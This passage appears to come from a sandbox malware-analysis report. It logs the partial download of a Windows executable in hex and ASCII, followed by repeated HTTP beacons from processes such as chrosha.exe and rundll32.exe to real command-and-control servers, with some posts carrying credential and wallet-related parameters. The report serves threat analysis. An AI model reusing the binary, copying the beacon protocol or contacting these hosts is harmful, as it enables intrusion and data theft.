fe 74 b9 52 69 63 68 14 fe 74 b9 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 0c 9a 1f 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 34 11 00 00 48 04 00 00 00 00 00 00 90 57 00 00 10 00 00 00 50 11 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 57 00 00 04 00 00 7e b2 23 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 38 db 56 00 4c 00 00 00 5e 10 15 00 72 00 00 00 00 50 14 00 f8 b2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 db 56 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 da 56 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 e4 13 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 14 00 00 10 00 00 00 3e 09 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f8 b2 00 00 00 50 14 00 00 80 00 00 00 4e 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 10 15 00 00 02 00 00 00 ce 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 29 00 00 20 15 00 00 02 00 00 00 d0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 73 70 63 7a 73 72 72 00 f0 18 00 00 a0 3e 00 00 ec 18 00 00 d2 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 68 76 75 6c 72 79 6a 00 10 00 00 00 90 57 00 00 04 00 00 00 be 22 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$Pttt_wt_qt_sttptwtqOt_pt_rt_utu4t\|}t\|tt\|tt\|vtRichtPELf'4HWP@W~#@8VL^rP(VVt@ @>@.rsrcPN@.idata @ ) @dspczsrr>@bhvulryjW"@
Apr 18, 2024 23:40:19.192763090 CEST	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Apr 18, 2024 23:40:19.192804098 CEST	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Apr 18, 2024 23:40:19.192857981 CEST	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Apr 18, 2024 23:40:19.192897081 CEST	1289	IN	Data Raw: 2c a8 8e c8 17 b8 c4 30 48 c8 c4 40 c2 1d d8 12 41 bb 50 42 93 52 02 fc b3 45 60 e9 01 b0 24 0f 28 20 4a 97 d2 40 18 b0 68 45 df 99 ae b1 22 30 96 06 1f 4d ef b2 88 df 90 1f 9e 63 a4 d0 e9 1e b9 44 df 28 ed 11 88 15 12 80 10 8c b3 b9 50 50 68 a0 Data Ascii: ,0H@APBRE`$( J@hE"0McD(PPht@0 )L$&*/+,2^.H.O6.P"DBh@@=J!0P!`PB@>i%DpQB4B!$?%i#d)Bu\|"$H
Apr 18, 2024 23:40:19.192935944 CEST	1289	IN	Data Raw: 15 f2 a7 45 a0 cd 60 25 3d 46 71 16 50 f6 ab b4 a2 4b 01 8a 7d 23 b8 d3 09 15 2b c6 50 87 35 ec ee cb 6a a7 5b 9b c8 05 8a 55 ee f1 a0 18 bc eb 65 03 1c f1 79 b0 07 ad e2 e5 0f a8 b6 9b 3d f8 e8 8a 55 c2 b6 08 b1 e2 7c 3f ed ec 55 eb 90 cf 50 01 Data Ascii: E`%=FqPK}#+P5j[Uey=U\|?UPb~/U;uPB#Hj=LbKmauV_^^$SbUA3dB]n_f591J$?v<=4"R<(.Vlzu+t$/z
Apr 18, 2024 23:40:19.192975044 CEST	1289	IN	Data Raw: 86 9a 39 92 92 cd b5 9f 70 23 84 e7 e0 89 86 f5 b7 3f eb 41 1e 04 31 00 f7 3b c7 0f 43 f0 24 81 fe 76 6e 83 8d 46 23 02 79 3b c6 0f 86 e3 a0 8d eb bf 85 f6 26 74 16 73 14 41 45 97 a0 c6 45 68 e4 3f 3c 39 1a 33 ff 15 04 84 e4 f6 53 51 1d 2c 06 25 Data Ascii: 9p#?A1;C$vnF#y;&tsAEEh?<93SQ,%69;uPU)H\-PA#CP4RZr=)KIIHR/3;Pd710c>u0yjxE.^`^u=$H#`vP63@"Ut,AAQ
Apr 18, 2024 23:40:19.193012953 CEST	1289	IN	Data Raw: f0 14 2e 44 a2 5f b4 f1 8d f0 c2 b8 9c 9d d0 17 e6 2f 90 13 0c 56 c4 6f 72 d3 50 46 9c fd 0c 7d f7 04 e1 f2 27 2c 5e 51 c0 b5 3a ce e8 24 e3 56 9d a0 df 6a 0d 68 9c 31 64 52 6c 84 f2 41 aa eb 09 bd 91 7b 69 79 17 79 8b c8 13 1a 77 a9 28 c0 b9 5e Data Ascii: .D_/VorPF}',^Q:$Vjh1dRlA{iyyw(^ f~>,'?sTi"p)NlBU~UjAG:Jp,[@.Bb4#d,{ O4qw[tFr`GKPu{~a~O`hX3E
Apr 18, 2024 23:40:19.193052053 CEST	1289	IN	Data Raw: e8 56 b8 a4 39 38 51 7a 6a 1c 00 d7 50 9c a5 5e af 82 21 16 8b 33 c0 6f b1 ad 6c 30 4d 25 f0 f9 4a 5b f4 69 71 5c 5b 3e 43 e1 92 8e e5 d1 80 ad 33 10 95 5b ed 08 40 a7 91 50 79 24 2f 8d 7f e2 09 5b 76 a5 73 fb 80 ca 8d 75 e5 85 c9 00 79 34 f7 d9 Data Ascii: V98QzjP^!3ol0M%J[iq\[>C3[@Py$/[vsuy4fNA0lTNuN-.0T;uT0W+tAlwOi4RJ\|uIW}Ox*=uJK;J`
Apr 18, 2024 23:40:19.193093061 CEST	1289	IN	Data Raw: a0 00 b3 3c 4a 3b c7 26 74 2c c2 d0 1f 2b 26 5d f8 80 00 39 5e 10 72 5b 89 da 0a 78 08 ec 87 60 0e 33 d2 66 7a 89 18 59 eb 2e 72 f0 3b 18 d9 75 0d 4d 83 e3 98 d7 05 fb 06 7c 1c eb 93 83 49 dd 8e 33 3c 6a e2 e5 b7 f7 0d cf 21 b8 8b 18 d1 ff d8 6b Data Ascii: <J;&t,+&]9^r[x`3fzY.r;uM\|I3<j!kW=m`'UAQ>[ZF?&`McO.rn,sA,{*Fg@+RI#HG1QCC$V%\PuBBn7si'O
Apr 18, 2024 23:40:19.438780069 CEST	1289	IN	Data Raw: da 25 f6 73 c9 35 a0 90 dd b8 81 4a ec 95 33 83 f3 8d 71 d4 4b b4 c1 96 68 98 25 ba 97 1a d0 e0 53 70 0b 04 e8 52 ca f1 29 c6 d0 4c 76 50 ee 74 9c 72 8c aa fa 55 e0 97 e9 44 85 45 10 02 d3 64 84 0d 5b 10 e2 2e 2a 1d 27 66 92 94 af 28 4e 5c 45 48 Data Ascii: %s5J3qKh%SpR)LvPtrUDEd[.'f(N\EHJ7O?;P@i\<2='`OV@D4 .MBlp"A#c x,Rl%sXHlNdm.dRx$r:AKpL\|]6JnB\|bmB$1P<fWf +I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49771	193.233.132.167	80	3488	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:19.389727116 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:19.630862951 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 18, 2024 23:40:19.652260065 CEST	307	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Apr 18, 2024 23:40:19.899358988 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49779	193.233.132.167	80	3488	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:20.299694061 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:20.545706987 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 18, 2024 23:40:20.635179043 CEST	307	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Apr 18, 2024 23:40:20.885852098 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49784	193.233.132.167	80	6420	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:20.637679100 CEST	156	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 5 Cache-Control: no-cache Data Raw: 77 6c 74 3d 31 Data Ascii: wlt=1
Apr 18, 2024 23:40:20.889599085 CEST	719	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 31 30 0d 0a 20 2b 2b 2b 5f 31 5f 39 64 33 66 64 38 30 32 31 38 32 64 63 31 35 61 33 34 61 31 39 37 62 36 66 63 64 34 36 61 62 39 38 65 36 30 30 63 62 64 61 65 36 64 33 64 35 33 39 34 39 38 66 31 30 32 35 61 62 38 37 61 65 37 30 32 37 31 30 30 39 32 31 66 65 37 61 36 36 61 64 66 35 66 2d 31 2d 5f 32 5f 63 66 32 34 64 31 34 61 32 65 37 32 38 66 36 39 36 36 66 62 63 34 66 64 62 61 63 36 33 65 38 38 64 38 33 39 35 39 66 62 66 65 36 30 34 64 30 64 64 38 39 32 66 31 33 33 35 63 65 63 32 64 39 33 35 33 32 33 35 33 63 39 35 38 62 32 64 30 36 36 64 38 32 63 2d 32 2d 5f 33 5f 62 33 33 38 62 30 30 30 31 62 31 36 63 39 31 61 36 64 61 32 61 35 66 66 64 36 65 39 34 35 39 39 39 65 33 35 30 32 61 64 61 62 36 32 37 64 30 30 38 62 64 39 38 31 33 34 30 36 62 33 37 35 65 36 32 66 33 34 2d 33 2d 5f 34 5f 62 62 31 65 38 33 30 39 30 64 32 37 64 32 31 66 37 36 61 34 39 63 38 30 64 64 63 35 35 65 38 61 61 31 30 61 30 66 38 32 63 64 32 32 35 32 30 30 39 64 63 31 61 36 33 62 31 37 39 37 35 61 62 36 30 39 32 34 2d 34 2d 5f 35 5f 63 62 36 65 39 33 31 31 33 31 30 63 38 65 34 33 37 39 61 62 63 30 61 35 63 38 66 34 34 35 66 61 38 35 32 30 32 65 61 32 63 64 36 34 34 63 36 37 61 63 64 64 38 63 31 64 32 39 38 30 32 66 61 64 35 33 30 39 31 37 62 66 33 35 65 39 64 66 37 66 62 62 32 32 32 64 35 61 38 36 34 61 35 39 30 63 34 63 62 38 39 39 34 36 33 37 37 65 33 34 39 35 65 36 31 62 35 63 65 65 39 39 63 31 65 37 65 32 66 33 61 63 62 62 37 65 66 61 33 33 61 65 32 37 30 39 32 36 37 31 35 31 63 66 30 63 64 36 32 39 31 66 38 31 34 33 34 38 32 33 34 39 66 39 61 63 66 32 31 62 33 64 37 38 34 65 32 37 32 64 2d 35 2d 0d 0a 30 0d 0a 0d 0a Data Ascii: 210 +++_1_9d3fd802182dc15a34a197b6fcd46ab98e600cbdae6d3d539498f1025ab87ae7027100921fe7a66adf5f-1-_2_cf24d14a2e728f6966fbc4fdbac63e88d83959fbfe604d0dd892f1335cec2d93532353c958b2d066d82c-2-_3_b338b0001b16c91a6da2a5ffd6e945999e3502adab627d008bd9813406b375e62f34-3-_4_bb1e83090d27d21f76a49c80ddc55e8aa10a0f82cd2252009dc1a63b17975ab60924-4-_5_cb6e9311310c8e4379abc0a5c8f445fa85202ea2cd644c67acdd8c1d29802fad530917bf35e9df7fbb222d5a864a590c4cb89946377e3495e61b5cee99c1e7e2f3acbb7efa33ae2709267151cf0cd6291f8143482349f9acf21b3d784e272d-5-0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49786	193.233.132.167	80	5080	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:20.878349066 CEST	173	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 21 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 63 72 65 64 3d Data Ascii: id=246122658369&cred=
Apr 18, 2024 23:40:21.130172968 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49788	193.233.132.167	80	3488	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:21.334759951 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:21.581376076 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 18, 2024 23:40:21.586009979 CEST	307	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Apr 18, 2024 23:40:21.837587118 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49795	193.233.132.167	80	3488	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:22.232431889 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:22.474706888 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 18, 2024 23:40:22.488970995 CEST	307	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Apr 18, 2024 23:40:22.737673998 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49797	193.233.132.167	80	3488	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:23.147064924 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:23.390029907 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 18, 2024 23:40:23.439441919 CEST	307	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Apr 18, 2024 23:40:23.688543081 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49798	193.233.132.167	80	3488	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:24.088983059 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:24.336081028 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 18, 2024 23:40:24.352981091 CEST	307	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Apr 18, 2024 23:40:24.603415966 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49800	193.233.132.56	80	7056	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:24.599479914 CEST	186	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 35 37 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000057031&unit=246122658369
Apr 18, 2024 23:40:24.846427917 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49801	193.233.132.167	80	3488	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:24.980164051 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:25.235464096 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
